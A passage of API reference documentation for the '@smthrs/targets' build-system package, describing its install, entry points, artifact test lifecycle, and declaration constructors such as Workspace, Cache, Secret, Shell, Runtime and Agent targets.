      toolchain: nixNeeds,
      steps: [
        {
          name: "Test",
          verb: S.Verb.Test,
          pattern: "//packages/...:test",
          parallelism: 1
        }
      ]
    }
  ],
  gates: [
    { name: "tests", verb: S.Verb.Test, pattern: "//packages/...", job: "test" },
    { name: "lint", verb: S.Verb.Lint, pattern: "//packages/...", job: "test" }
  ],
  requiredJobs: ["test", "matrix-test"],
  output: ".github/workflows/ci.yml",
  mode: "check"
})
```

---

# @smthrs/targets
https://smithers.sh/docs/reference/api/targets/

{/* Generated from packages/smithers/build/targets/docs/reference/targets.md. Edit the source, then run `pnpm exec smithers-build target //apps/site:referenceIngest --write`. */}

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/build/targets/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/build/targets/docs/reference/targets.md)

## Install

Install it with the build CLI, beside the `effect` version `@smthrs/build-cli`
depends on exactly; a `PACKAGE.ts` or `WORKSPACE.ts` file then imports it
directly. Both packages are on npm under the `next` tag.

```json
{
  "devDependencies": {
    "@smthrs/build-cli": "1.0.0-rc.16",
    "@smthrs/targets": "1.0.0-rc.16",
    "effect": "4.0.5"
  }
}
```

## Entry points

The `exports` map publishes the index, every module under `src` through the `./*` subpath, and the manifest:

| Import                         | Source          | Platform         |
| ------------------------------ | --------------- | ---------------- |
| `@smthrs/targets`              | `src/index.ts`  | Node.js 22.19.0+ |
| `@smthrs/targets/Target`       | `src/Target.ts` | Node.js 22.19.0+ |
| `@smthrs/targets/package.json` | `package.json`  | Node.js 22.19.0+ |

The second row stands for every public module. The subpaths `./internal/*` and
`./index` map to `null`, so neither resolves. Registry installs use the built
ESM/CommonJS distribution, and `effect` is a peer at exactly `4.0.5`.

## Artifact test lifecycle

`lifecycle?: "evergreen" | "artifact"` is a declaration key beside `summary`
and `featured`, not an attr. It never enters the cache key. Omission and
`"evergreen"` preserve existing metadata and index rows. Artifact declarations
require a non-empty one-line summary describing the captured behavior:

```ts
const captured = S.Shell.Test({
  shell: "false",
  lifecycle: "artifact",
  summary: "Captured failure on 2026-10-17"
})
```

A repository must choose policy explicitly in `.smithers/FACTORY.ts`:

```ts
export const factory = S.Factory({
  summary: "Repository checks",
  lifecycle: S.Lifecycle.Policy({
    tests: { artifact: { blocking: false, run: "ci" } }
  })
})
```

Every field is required. `blocking: false` makes artifact failures advisory in
`test`, `ci`, and `affected`; `true` preserves blocking. `run: "never"` skips
artifact targets in wildcard selection while explicit labels still run;
`"ci"` preserves selection. Without policy artifacts still block, and doctor
warns. The factory projection includes the policy; target-index rows include
`lifecycle: "artifact"` only for artifacts. Artifact labels cannot appear in
known-red lists.

`smthrs test`, `ci`, `affected`, and `docs` accept
`--lifecycle evergreen|artifact|all`, filtering roots without dropping their
required dependencies or overriding wildcard omission.

## Namespaces

`src/index.ts` declares one namespace export:

| Namespace  | Summary                                                                                                                              |
| ---------- | ------------------------------------------------------------------------------------------------------------------------------------ |
| `Smithers` | Every declaration constructor, catalog rule, macro, action, and error a `PACKAGE.ts` or `WORKSPACE.ts` file reaches, under one name. |

## Smithers

`Smithers.ts` exports 145 names. This section gives headings to the input constructors, the workspace declarations, the macros, and the rule-family namespaces a declaration reaches first, and lists the other 124 exports in one table at the end of the section.

A catalog rule is a `Target.Definition`. Calling it with its attrs object returns an opaque `Target` declaration with planner metadata. Each `Signature` row below names the attrs schema its module declares. Execute targets through the package executor in `@smthrs/build-cli`. A host-owned Flow can explicitly lower an action-backed declaration with `Target.plan(target)`; package-only rules lower to a typed refusal.

### `Smithers.file`

- **Signature:** `file(path: string): Input.File`
- **Since:** `0.1.0`

Declares one file input. The call reads nothing. A path starting with `//` resolves from the workspace root when the planner expands it, and every other path resolves from the declaring package directory. A path containing a null byte, a backslash, or a drive letter, or one that escapes the workspace, fails at expansion.

### `Smithers.gitDiff`

- **Signature:** `gitDiff(options?: string | { base?: string; paths?: ReadonlyArray<string>; added?: ReadonlyArray<string>; addedLines?: string }): Input.GitDiff`
- **Default:** `base` is `"HEAD"`.
- **Since:** `0.1.0`

Creates a declared git diff input without invoking git. The string form gives the base alone. `Input.validateGitBase` rejects an empty base, a base starting with `-`, a base containing a null byte, and text the host cannot encode without replacement, so an unusable revision fails at declaration time.

### `Smithers.glob`

- **Signature:** `glob(pattern: string, options?: { readonly exclude?: ReadonlyArray<string> }): Input.Glob`, overloaded as `glob(patterns: ReadonlyArray<string>): ReadonlyArray<Input.Glob>`
- **Since:** `0.1.0`

Creates a declared glob without reading the filesystem. In the array form an entry starting with `!` is an exclude shared by every positive pattern, and the call returns one declared glob per positive pattern. A non-string entry raises `TypeError`, and an array with no positive pattern raises `Error`. Expansion is package scoped: it never descends into a subdirectory that holds a `PACKAGE.ts` file.

### `Smithers.Workspace`

- **Signature:** `Workspace(name: string, options: WorkspaceOptions): WorkspaceDeclaration`
- **Since:** `0.1.0`

Declares the workspace: its name plus the typed host and toolchain services every target resolves against. The name comes first and must be a portable identifier. `options` requires `repository` and `cache`; `runtime`, `packageManager`, `nodeModules`, `environment`, `toolchains`, `flags`, `host`, `memory`, `sandboxes`, `agents`, `gitHooks`, `repos`, `discovery`, `owners`, `teams`, and `docs` are optional. `discovery: { prune }` lists workspace-relative directories the package walk never enters; a prune path that is absolute or leaves the workspace raises `TypeError`. `docs` maps portable names to `Smithers.Docs.Package(name, { files })` or `Smithers.Docs.Url(url, { sha256 })`: pinned dependency documentation a wiki refresh imports into `.flows/wiki/deps/<name>/` for agent memory. The refresh publishes each imported file as a wiki page, and every stack lane writes the pages back into its own checkout; together they may take 16 KiB and count toward the wiki's 30 pages, and a declaration over either fails the refresh. A package name may be scoped and may carry legacy uppercase letters; each file must be a package-relative Markdown path with no control character and no `..` segment. Any other value, including an object that only copies a declaration's fields, raises `TypeError`, as do two names equal when lowercased. An unknown option raises `TypeError`, and the options object passed where the name belongs raises `TypeError` naming the argument order. The call validates and performs no I/O.

### `Smithers.Cache`

- **Signature:** `Cache(options: { directory: string; hostDirectories?: ReadonlyArray<string> | undefined; remote?: RemoteCache.RemoteCache | undefined }): CacheDeclaration`
- **Since:** `0.1.0`

Declares the workspace cache directory and, optionally, the remote cache it replicates to. `directory` is required and normalized to one workspace-relative directory; `Config.defaultCacheDirectory` is `.flows`. A `remote` that is not a `Smithers.RemoteCache.make` declaration raises `TypeError`. The remote declaration is inert data here, read by the CLI when it opens the workspace cache.

`hostDirectories` explicitly lists regenerable tool caches, such as `[".backend-go-modcache"]`. Each path must be canonical, workspace-relative, and free of globs. Their ignored contents are host state excluded from write-set snapshots and rollback; tracked files and other ignored paths remain guarded. Ignored symlinks inside these directories are also excluded from portal snapshots, so they must not link to unique external data. Declare only caches the owning tool can rebuild, never credentials or unique local data. The declaration neither grants sandbox access nor moves or deletes files.

### `Smithers.Package`

- **Signature:** `Package(options: { targets: T; defaultVisibility?: "public"; owners?: Owners.Options | Owners.Declaration | undefined }): PackageValue<T>`
- **Since:** `0.1.0`

Constructs a Package value from an explicit target map. Each map key is the target name in a label, so the `protos` key of the package at `packages/wire` is `//packages/wire:protos`. The returned value carries frozen metadata under `Package.PackageTypeId`: the ABI stamp `@smthrs/targets/Package/v1`, the keys sorted by UTF-16 code unit, and the declared visibility and owners when the package stated them.

### `Smithers.Generate`

- **Signature:** `Generate(attrs: Compose.GenerateAttrs): Target`
- **Since:** `0.1.0`

A generated-output target: check by default, `--write` applies. The attrs declare `emit`, `script`, `bin`, `command`, `args`, `env`, `secrets`, `sandbox`, `stdout`, `deps`, `data`, `changes`, and `mode`, and exactly one of `emit`, `script`, `bin`, or `command` is required along with a write set. `mode` defaults to `"write"`. The rule joins the `run` and `lint` verbs, is not cacheable, and fails with `ExecError`, `DriftError`, or `NotImplemented`.

### `Smithers.Agents`

- **Signature:** `Agents(agents: Readonly<Record<string, AgentTarget.AgentDeclaration>>): AgentTarget.AgentsDeclaration`
- **Since:** `0.1.0`

The workspace agent roster, and the reference surface a package names one agent through. Calling it validates the record: a key that is not a legal reference name raises `Error`, and a value that is not an agent declaration raises `TypeError`. Property access such as `Smithers.Agents.docsWriter` mints a fresh inert `Reference.AgentRef`, whose name is checked against the workspace declaration at index time, so an unknown agent name is a graph-load error rather than a silent miss.

### `Smithers.Filegroup`

- **Signature:** `Filegroup(attrs: Filegroup.Attrs): Target`
- **Since:** `0.1.0`
- **Related:** [Filegroup rule](/docs/reference/targets/filegroup/)

Names a set of files under one label. `srcs` is an array of files, globs, and other targets in read order, and `cwd` is the package directory those paths resolve from, defaulting to `"."`. The rule joins no verb, so no verb selects a group as a root, and it is cacheable. Executing one as a dependency records an `ExpandFilegroup` call that succeeds with `Filegroup.Files`, an array of `path` and `digest` rows, and fails with `FilegroupError`.

### `Smithers.Secret`

- **Signature:** `Secret(env: string, options?: { fallback?: string | undefined }): Secret`
- **Since:** `0.1.0`

Declares one secret source, read lazily at a host-owned request boundary. The declaration names the environment variable and never the value. The name is bounded at `Secret.maximumNameLength`, 256 code units, and a `fallback` at `Secret.maximumFallbackLength`, 16384. A source alone is not egress authority: `Smithers.HttpSecret(source, origins)` binds it to exact origins, at most `Secret.maximumAudiences`, 32, each bounded at `Secret.maximumAudienceLength`, 2048.

### `Smithers.SecretOrigin`

- **Signature:** `SecretOrigin(audience: string): string`
- **Since:** `0.1.0`

Returns a plan-time token naming one declared audience. When an exec target spawns, each token in its argv or env becomes a loopback `http://127.0.0.1:<port>` origin. That origin forwards every request to the audience over TLS, substitutes the placeholders bound to that audience, and rewrites the audience origin in responses back to the loopback origin. The proxy cannot substitute inside an HTTPS `CONNECT` tunnel, so an exec target that declares an HTTPS audience must name it with `SecretOrigin`, or the plan and the exec boundary refuse it with `invalid_payload`. A loopback HTTP audience also works through `HTTP_PROXY` for clients that proxy loopback, such as curl and Bun; Node and Go clients skip the proxy for loopback and need the token. A token naming an origin no declared secret is bound to is refused. A tool that hardcodes its host, such as `gh`, cannot be pointed at the origin and needs a host-owned adapter.

```ts
import { Smithers } from "@smthrs/targets"

const whoami = Smithers.Shell.Run({
  shell: "curl -fsS -H \"authorization: token $GITHUB_TOKEN\" \"$GITHUB_API/user\"",
  env: { GITHUB_API: Smithers.SecretOrigin("https://api.github.com") },
  secrets: [Smithers.HttpSecret(Smithers.Secret("GITHUB_TOKEN"), ["https://api.github.com"])]
})
```

### `Smithers.Runtime`

- **Type:** the `Runtime` module, and `type Runtime = Runtime.Runtime`
- **Since:** `0.1.0`

Declared JavaScript runtimes and the argv they run programs with. The name is both the namespace the constructors live under and the type they return. `Runtime.Node({ version: ">=22.19.0" })` and `Runtime.Bun({ version: ">=1.4.0" })` are the two constructors, `Runtime.Node({ manifest })` is the form that reads the pin from a declared manifest, and `Runtime.bin`, `Runtime.npx`, `Runtime.required`, `Runtime.run`, `Runtime.evaluate`, `Runtime.test`, and `Runtime.isRuntime` are the accessors a rule builds argv with. A runtime belongs to the workspace and is declared once in `WORKSPACE.ts`; a single target overrides the interpreter by naming its own `runtime`.

`Runtime.Node({ manifest })` reads `engines.node` during planning. Literal Node pins and exact Bun pins also retain their declared versions. Requirements support an exact version or one comparator (`=`, `>`, `>=`, `<`, or `<=`); compound ranges, caret/tilde ranges, and tags such as `latest` are refused. The planner measures each declared manifest's validated text and includes that digest in the target key. Missing, malformed, oversized, or outside-workspace manifests fail resolution.

`Runtime.ResolvedNodeRuntime` and `Runtime.ResolvedBunRuntime` are tagged schemas for resolver output, admitted by the `Runtime.Runtime` union. They retain `name`, `version`, and `executable`; authors normally use the constructors above. `Runtime.VersionRequirement` bounds the printable text, while resolution and verification check the supported version grammar.

`Runtime.bin` selects the workspace's declared executable. A missing runtime or an installed version that does not satisfy its requirement refuses the target before its command runs.

Use `Runtime.npx(spec)` as the `bin` of a `Shell` target or `Generate`. Under Node, the planner resolves npm's JavaScript one-shot launcher on the target's tool PATH and runs it with the declared Node executable, followed by `spec` and the target's `args`. Under Bun, it runs the declared executable with `x --bun`, `spec`, and those arguments. `Shell.runtimeArgs` remain flags before the launcher or `x`. The runtime identity and, for Node, launcher bytes and its bounded `--version` result enter the target key. That launcher probe uses the selected Node, so a changed reported implementation version invalidates results even when the launcher stays unchanged. A Windows batch shim cannot serve as the Node launcher. `Runtime.npx` cannot occupy a path argument, a `using` binding, or a generator's path-only `tools` slot, because those positions cannot carry its command arguments.

### `Smithers.PackageManager`

- **Type:** the `PackageManager` module, and `type PackageManager = PackageManager.PackageManager`
- **Since:** `0.1.0`

Declared package managers, their argv spellings, and the lockfile each one writes. `PackageManager.Pnpm` takes either the workspace form `{ manifest, lockfile, version?, audit?, workspaces? }` or the legacy form `{ version: "11.21.0", runtime }`; `PackageManager.BunPackages({ runtime })` and `PackageManager.Yarn` are the other two constructors. A Bun manager runs tools but cannot install: `Install` refuses it as `unsupported`. `PackageManager.exec`, `.dlx`, `.install`, `.publish`, `.under`, `.lockfileName`, `.bin`, and `.required` build the argv every tool-running rule asks for, so no rule spells `pnpm` or `node` into an argv of its own.

The manifest form reads `packageManager: "pnpm@<version>"`. An explicit `version` selects the requirement instead, while the manifest is still parsed and measured. Resolution never invents a pin or installs a tool. With a resolved Node/Bun toolchain, `PackageManager.bin` honors the declared executable, and version mismatches refuse execution. Yarn's native behavior is unchanged. Action-backed targets also verify the runtime and manager they use before their body runs; configuration-only generators such as `PnpmWorkspace` and `GithubCiGen` do not run tool probes.

`PackageManager.ResolvedPnpmPackageManager` and `PackageManager.ResolvedBunPackageManager` describe resolver output within the `PackageManager.PackageManager` union. Each retains `name`, `version`, `executable`, and the runtime declaration; package authors normally use `Pnpm` or `BunPackages`.

### `Smithers.Cargo`

- **Type:** the `Cargo` module
- **Since:** `0.1.0`

The cargo surface: `Cargo.Fetch`, `Cargo.Build`, `Cargo.Test`, `Cargo.Nextest`, `Cargo.Clippy`, `Cargo.Fmt`, `Cargo.Doc`, `Cargo.Deny`, and the `Cargo.AppSet` crate set. `Cargo.Build`, `Cargo.Test`, `Cargo.Nextest`, `Cargo.Clippy`, and `Cargo.Doc` construct targets with exactly one selector: `workspace: true`, `package: "<name>"`, or `crates: <set>`. `Cargo.Fmt` takes an attrs object with at most one of `workspace: true` or `crates: <set>`; omitting both uses the current workspace. `Cargo.Fetch` accepts at most one of `manifest` or `crates`. It is the one network-enabled cargo rule: its first `outDirs` entry becomes the `CARGO_HOME` every dependent reads.

### `Smithers.Shell`

- **Type:** the `Shell` module
- **Since:** `0.1.0`

The shell target flavors: `Shell.Build`, `Shell.Test`, `Shell.Run`, `Shell.Serve`, and `Shell.Diff`. Each requires exactly one of `bin`, `bun`, `shell`, or `script`, and `Shell.Build` also requires at least one `outDirs` or `outFiles` entry. `Shell.Run`, `Shell.Test`, `Shell.Build`, and `Shell.Diff` plan an exec through the shared `Exec` action; `Shell.Serve` runs under the package executor.

`Shell.Run` accepts optional `manual: true`: bare wildcards omit it, while an explicit label selects it.

`hosts` restricts a shell target to the listed hosts (`"linux"`,
`"darwin"`, `"win32"`). The declaration and the target index are the same on
every host; wildcard selections omit the target on other hosts, and naming it
there refuses the plan.

`Host.bin(name)` resolves a declared host binary on PATH. Its resolved path
and executable bytes enter the package executor's cache key, even when its
version output is unchanged. Symlinks follow the target bytes. Shebang
interpreters, including PATH interpreters selected by `/usr/bin/env`, are
identified too. A target used as `bin` is identified after its executable
output has been produced.

`Host.bin(name, { env })` first takes the absolute path in host variable
`env`, for a tool whose callers read that variable; PATH is used only when it
is unset.

`Shell.Build` command forms key the shell and the leading literal executable.
List executables a shell target spawns by itself in `tools`: their bytes join
the key the same way, and an absent one refuses the target. Executable
installations must stay stable while a run is in progress; the executor rejects observed changes between planning, cache
lookup, and result storage. The build CLI cache keys on executable
content, with Go, Rust, Node module, and within-run guarantees described
in its caching concept doc.

### `Smithers.Docker`

- **Type:** the `Docker` module
- **Since:** `0.1.0`

Docker services, OCI builds, bake targets, and pushes: `Docker.Serve`, `Docker.Service`, `Docker.Build`, `Docker.Bake`, and `Docker.Push`. Every one of the five runs under the package executor, so a bare Flow runtime fails them with `NotImplemented` rather than doing nothing. `Docker.Build` and `Docker.Bake` are cacheable and declare an output tree; the other three are not.

### `Smithers.Agent`

- **Type:** the `AgentTarget` module
- **Since:** `0.1.0`

The agent target flavors and the agent declarations: `Agent.Lint`, `Agent.Diff`, `Agent.Pr`, `Agent.ClaudeCode`, `Agent.Codex`, and `Agent.Pool`. `Agent.ClaudeCode` and `Agent.Codex` accept a model name as a bare string or as `{ model }`, and both spellings construct the same value. None of the three rules is cacheable, and each fails with the tagged agent errors in the Errors section.

#### `Smithers.Agent.Lint`

- **Signature:** `Agent.Lint(attrs: AgentTarget.LintAttrs): Target`
- **Since:** `0.1.0`

An agent-judged lint over the declared data. The attrs are `agent`, `prompt`, `data`, and `fixes`; only `prompt` and `data` are required. The rule joins the `lint` verb, succeeds with an `AgentTarget.LintReport`, and fails with `AgentSessionError`, `AgentWriteEscape`, or `AgentFindingsError`. An empty expanded diff is vacuously green with zero agent spawns.

#### `Smithers.Agent.Diff`

- **Signature:** `Agent.Diff(attrs: AgentTarget.DiffAttrs): Target`
- **Since:** `0.1.0`
- **Related:** [Agent.Diff rule](/docs/reference/targets/agent-diff/)

An agent producing a bounded, gate-checked candidate diff inside the declared write-set. The attrs are `agent`, `prompt`, `payload`, `mcp`, `data`, `changes`, `gates`, `secrets`, `sandbox`, `approval`, and `maxRounds`; `prompt`, `data`, `changes`, `gates`, and `maxRounds` are required, and `maxRounds` is an integer from 1 to `AgentTarget.maximumRounds`, 16. The rule joins the `run` verb and succeeds with an `AgentTarget.DiffResult`.

#### `Smithers.Agent.Pr`

- **Signature:** `Agent.Pr(attrs: AgentTarget.PrAttrs): Target`
- **Since:** `0.1.0`

**Experimental; not usable for PR publication from the build CLI yet.** The attrs match `Agent.Diff` except that `maxRounds` is optional and defaults to `AgentTarget.defaultPrRounds`, 3. The rule is outward and runs only when named explicitly. The build CLI does not bind a `PrOpener`: after convergence, settle fails with `AgentPrSettleRefused` and preserves the candidate diff and gate report. It does not commit, push, or open a PR. Integrations may inject a `PrOpener`, but should publish the exact accepted candidate before returning a PR URL.

### `Smithers.Git`

- **Type:** the `GitTarget` module
- **Since:** `0.1.0`

The git target flavors: `Git.Commit`, `Git.Pr`, `Git.Submodules`, and `Git.Submodule`. The package executor handles these declarations; `Git.Pr` is deferred past 1.0 ([#3164](https://github.com/smithersai/smithers/issues/3164)): the plan refuses it before any gate runs. `Git.Submodule` and `Git.Submodules` join the `build` verb and are cacheable; `Git.Commit` and `Git.Pr` join `run` and are not. `Git.Commit` gates run against a scratch copy holding the exact tree the commit records, not against the working tree.

### `Smithers.Github`

- **Type:** the `GithubTarget` module
- **Since:** `0.1.0`

The GitHub target flavors: `Github.Setup`, `Github.Workflow`, `Github.CiGen`, `Github.Pr`, `Github.Pages`, `Github.Release`, and `Github.Ci`. The package executor handles these declarations and none is cacheable. `Github.Pr` ([#3164](https://github.com/smithersai/smithers/issues/3164)), `Github.Pages`, and `Github.Release` ([#3165](https://github.com/smithersai/smithers/issues/3165)) are deferred past 1.0: the plan refuses each one as `not implemented by this executor` before any gate or provider call. `Github.Pr` shares the outward gate `Outward.refuse`: a declaration that names no `HttpSecret` over `GITHUB_TOKEN`, or that declares `approval: "required"` without a granted approval, yields `Refused`.

### `Smithers.Npm`

- **Type:** `{ NodeModules, Pack, Publish, Published, Downstream }`
- **Since:** `0.1.0`

The npm-facing surface. `Npm.NodeModules({ packageJson })` is the workspace declaration for the installed module tree; `Npm.Pack`, `Npm.Publish`, `Npm.Published`, and `Npm.Downstream` are rules that run under the package executor. `Npm.Pack` and `Npm.Published` are supported and cacheable. `Npm.Publish` is deferred past 1.0 ([#3163](https://github.com/smithersai/smithers/issues/3163)) and the plan refuses it before any gate runs; `Npm.Downstream` is deferred ([#3166](https://github.com/smithersai/smithers/issues/3166)) because the isolated remote checkout runner is not implemented, so the plan refuses it before it runs.

### `Smithers.Markdown`

- **Type:** `{ CodeBlocks }`
- **Since:** `0.1.0`

Markdown-derived target constructors. The namespace holds one member.

#### `Smithers.Markdown.CodeBlocks`

- **Signature:** `Markdown.CodeBlocks(attrs: NodeArtifact.CodeBlocksAttrs): Target`
- **Since:** `0.1.0`

Extracts and validates fenced source blocks from one Markdown file. `file` is the declared Markdown input and `lang` is the array of fence languages to extract, both required. The rule joins the `build` and `test` verbs, is cacheable, and runs under the package executor: `Target.plan` lowers it to `Target.notImplemented`, so a bare Flow runtime fails it loudly.

### Remaining exports

`Smithers.Vitest` and `Smithers.FaultSuite` accept `env`, `services` and `sandbox` as `Shell.Test` does. The runner sees only the host bootstrap environment, so a case reads a service's URL from the declared `env`, never from the caller's shell, and a service requires an explicit `sandbox`. `Smithers.FaultSuite` also accepts `timeoutMs`, the run's budget; it defaults to the Vitest 20 minutes, and a tier whose cases take longer declares the budget it measured.

`Smithers.testSuite(paths, { isolate: true })` enables Bun `--isolate` for suites whose files mutate process globals. It costs about 3× wall time; the default and Node runner are unchanged. This is temporary: the option is deleted when no callers remain ([#3696](https://github.com/smithersai/smithers/issues/3696)).

Every other export of `Smithers.ts`, in source order:

| Name                              | Kind               | Summary                                                                                                                                                                              |
| --------------------------------- | ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `Smithers.RemoteCache`            | namespace          | Workspace remote-cache declarations.                                                                                                                                                 |
| `Smithers.Input`                  | namespace          | Declared input schemas and constructors.                                                                                                                                             |
| `Smithers.Target`                 | namespace          | Target construction and target metadata.                                                                                                                                             |
| `Smithers.SafeFs`                 | namespace          | Confined filesystem reads shared by discovery.                                                                                                                                       |
| `Smithers.PackageJsonDeclaration` | namespace          | Package manifest declarations, rendering, and target synthesis.                                                                                                                      |
| `Smithers.PackageJsonTemplate`    | namespace          | Shared inert manifest templates.                                                                                                                                                     |
| `Smithers.pnpmWorkspace`          | constructor        | Creates a workspace-membership input without reading the filesystem.                                                                                                                 |
| `Smithers.Flags`                  | constructor        | The flag surface: the workspace declaration constructor, and a property-access reference to one declared flag.                                                                       |
| `Smithers.Host`                   | constructor        | The host surface: the workspace declaration constructor, and `Host.bin(name)` for one declared binary.                                                                               |
| `Smithers.Sandbox`                | constructor        | The sandbox implementation constructors.                                                                                                                                             |
| `Smithers.Sandboxes`              | constructor        | Declares the workspace sandbox implementations by name.                                                                                                                              |
| `Smithers.LocalRepository`        | constructor        | Declares an opaque child Smithers workspace at a workspace-relative path.                                                                                                            |
| `Smithers.Owners`                 | namespace          | `Owners.declare` validates an `owners` option, and `Owners.Codeowners` and `Owners.Tree` project every declaration into `.github/CODEOWNERS` and the per-directory `OWNERS` tree.    |
| `Smithers.Teams`                  | constructor        | Validates a team roster: team names are login-shaped, members are logins, and every list is deduplicated and sorted.                                                                 |
| `Smithers.gitCommit`              | constructor        | References one git commit without invoking git.                                                                                                                                      |
| `Smithers.Mcp`                    | constructor        | Declared MCP servers.                                                                                                                                                                |
| `Smithers.NodeModule`             | constructor        | References an installed module, or one of its binaries through `NodeModule.Bin`.                                                                                                     |
| `Smithers.symlink`                | constructor        | Declares that a generated file is a symbolic link to `path`.                                                                                                                         |
| `Smithers.Alias`                  | rule               | A second name for one target: a distinct node whose kinds mirror the aliased target and whose only dependency is it.                                                                 |
| `Smithers.Files`                  | constructor        | The declared file-set algebra, `Files.difference` and `Files.digest`.                                                                                                                |
| `Smithers.ImportClosure`          | rule               | The transitive import closure of the entry files, as per-file rows.                                                                                                                  |
| `Smithers.Materialize`            | rule               | Places a build target's cached output tree into the working tree.                                                                                                                    |
| `Smithers.Suite`                  | rule               | A named group of check-capable targets that run together.                                                                                                                            |
| `Smithers.Test`                   | rule               | A declarative assertion over the file algebra.                                                                                                                                       |
| `Smithers.Copy`                   | rule               | Copies one declared artifact or file-producing target to a path.                                                                                                                     |
| `Smithers.Literal`                | rule               | Materializes fixed bytes at a declared path.                                                                                                                                         |
| `Smithers.Overlay`                | rule               | A derived file set with selected members replaced.                                                                                                                                   |
| `Smithers.Cron`                   | rule               | A package-level inert schedule rendered by generated GitHub CI.                                                                                                                      |
| `Smithers.PackageDefaults`        | constructor        | Declares pure workspace defaults.                                                                                                                                                    |
| `Smithers.Exec`                   | action             | The one shared action every catalog target uses to run a tool.                                                                                                                       |
| `Smithers.ExecError`              | schema             | A typed external-tool failure.                                                                                                                                                       |
| `Smithers.ExecLive`               | layer              | Implements `Exec` with a `node:child_process` spawn.                                                                                                                                 |
| `Smithers.BunSuite`               | macro              | Re-runs one package's vitest suite under Bun.                                                                                                                                        |
| `Smithers.FaultSuite`             | macro              | Runs one package's fault-injection cases, serially, without coverage.                                                                                                                |
| `Smithers.Fetch`                  | rule               | A remote file pinned by sha256 and written to `out`.                                                                                                                                 |
| `Smithers.ExpandFilegroup`        | action             | Reads the files one group names and returns them digested.                                                                                                                           |
| `Smithers.ExpandFilegroupLive`    | layer              | Implements `ExpandFilegroup`, resolving payload paths against `workspaceRoot`.                                                                                                       |
| `Smithers.FilegroupError`         | error              | Expanding a group's declared sources failed on a filesystem error.                                                                                                                   |
| `Smithers.isFilegroup`            | guard              | Checks whether a value is a `Filegroup` target.                                                                                                                                      |
| `Smithers.Install`                | rule               | Plans an install for the declared package manager.                                                                                                                                   |
| `Smithers.Lockfile`               | rule               | Regenerates the declared manager's lockfile without linking a tree.                                                                                                                  |
| `Smithers.PnpmWorkspace`          | rule               | Generates and drift-checks `pnpm-workspace.yaml`.                                                                                                                                    |
| `Smithers.Tsconfig`               | rule               | Generates and drift-checks a `tsconfig.json`.                                                                                                                                        |
| `Smithers.HttpSecret`             | constructor        | Binds a declared secret to one or more exact HTTP origins.                                                                                                                           |
| `Smithers.SecretOrigin`           | constructor        | Names a declared audience as the loopback origin that forwards to it and substitutes its secret.                                                                                     |
| `Smithers.TsBuild`                | rule               | Builds a JavaScript distribution with `vibelang -p` (the `tsc` tool), `tsup`, or the package's own build program.                                                                    |
| `Smithers.DtsBuild`               | rule               | Emits type declarations with `vibelang --emitDeclarationOnly` (the `tsc` tool) or `tsup --dts-only`.                                                                                 |
| `Smithers.Typecheck`              | rule               | Checks a package with `vibelang --noEmit` or in TypeScript build mode.                                                                                                               |
| `Smithers.Vitest`                 | rule               | Plans a non-watch `vitest run` test target.                                                                                                                                          |
| `Smithers.VitestCoverage`         | rule               | Plans `vitest run` with coverage and declares the coverage directory output.                                                                                                         |
| `Smithers.VitestWatch`            | rule               | Plans an interactive Vitest watch session.                                                                                                                                           |
| `Smithers.BiomeCheck`             | rule               | Plans Biome lint and format checks without writing files.                                                                                                                            |
| `Smithers.Dprint`                 | rule               | Checks formatting with `dprint check`, or rewrites it with `dprint fmt`.                                                                                                             |
| `Smithers.EsLint`                 | rule               | Plans ESLint over declared source sets.                                                                                                                                              |
| `Smithers.DepsLint`               | rule               | Plans missing, unused, and undeclared dependency checks.                                                                                                                             |
| `Smithers.PackageLint`            | rule               | Plans publint and optional packed-tarball type checks.                                                                                                                               |
| `Smithers.Docs`                   | namespace          | `Docs.Page` and `Docs.Check` generated-page rules; `Docs.Package` and `Docs.Url` pinned dependency documentation for a workspace's `docs`.                                           |
| `Smithers.DocsParity`             | rule               | Checks that a package documents itself in prose beside its code.                                                                                                                     |
| `Smithers.CheckDocs`              | action             | Checks one package README for presence, a title, and real prose.                                                                                                                     |
| `Smithers.CheckDocsLive`          | layer              | Implements `CheckDocs` with confined, descriptor-stable, bounded reads.                                                                                                              |
| `Smithers.DocsParityError`        | error              | A package's documentation is missing or too thin to describe the package.                                                                                                            |
| `Smithers.SortPackageJson`        | rule               | Plans `sort-package-json` validation or rewriting.                                                                                                                                   |
| `Smithers.generated`              | constructor        | Asks for a model-written value instead of a literal one.                                                                                                                             |
| `Smithers.PackageJson`            | constructor        | Declares one package's manifest.                                                                                                                                                     |
| `Smithers.PackageJsonCheck`       | rule               | Regenerates a package manifest in memory and fails on drift.                                                                                                                         |
| `Smithers.PackageJsonWrite`       | rule               | Rewrites a package manifest from its declaration.                                                                                                                                    |
| `Smithers.SyncPackageJson`        | action             | Regenerates one manifest and either compares it or writes it.                                                                                                                        |
| `Smithers.SyncPackageJsonLive`    | layer              | Implements `SyncPackageJson` against the filesystem, the workspace field cache, and, in `refresh` mode only, the model CLI.                                                          |
| `Smithers.NewPackage`             | rule               | Scaffolds a new workspace package.                                                                                                                                                   |
| `Smithers.ScaffoldPackage`        | action             | Creates one package directory in the source tree.                                                                                                                                    |
| `Smithers.ScaffoldPackageLive`    | layer              | Implements `ScaffoldPackage` against the source tree.                                                                                                                                |
| `Smithers.CheckFile`              | action             | Compares one generated file against its checked-in form.                                                                                                                             |
| `Smithers.CheckFileLive`          | layer              | Implements `CheckFile` with a read and a byte comparison.                                                                                                                            |
| `Smithers.checkGeneratedFile`     | effect             | Fails with `DriftError` unless the checked-in file matches.                                                                                                                          |
| `Smithers.DriftError`             | error              | A checked-in file is missing or differs from its generated form.                                                                                                                     |
| `Smithers.WriteFile`              | action             | Writes one generated file.                                                                                                                                                           |
| `Smithers.WriteFileError`         | error              | A generated file could not be written.                                                                                                                                               |
| `Smithers.WriteFileLive`          | layer              | Implements `WriteFile` with an atomic write through a sibling temp file that is renamed into place.                                                                                  |
| `Smithers.writeGeneratedFile`     | effect             | Writes contents to a sibling temp file, then renames it into place.                                                                                                                  |
| `Smithers.GithubCiGen`            | rule               | Generates the GitHub Actions CI workflow from declared attrs.                                                                                                                        |
| `Smithers.GithubWorkflow`         | namespace          | Reading and rendering GitHub Actions workflow files.                                                                                                                                 |
| `Smithers.NpmPublish`             | rule               | Plans npm publication after versioning, build, and package validation deps.                                                                                                          |
| `Smithers.JsrPublish`             | rule               | Plans JSR publication after npm publication and shared release deps.                                                                                                                 |
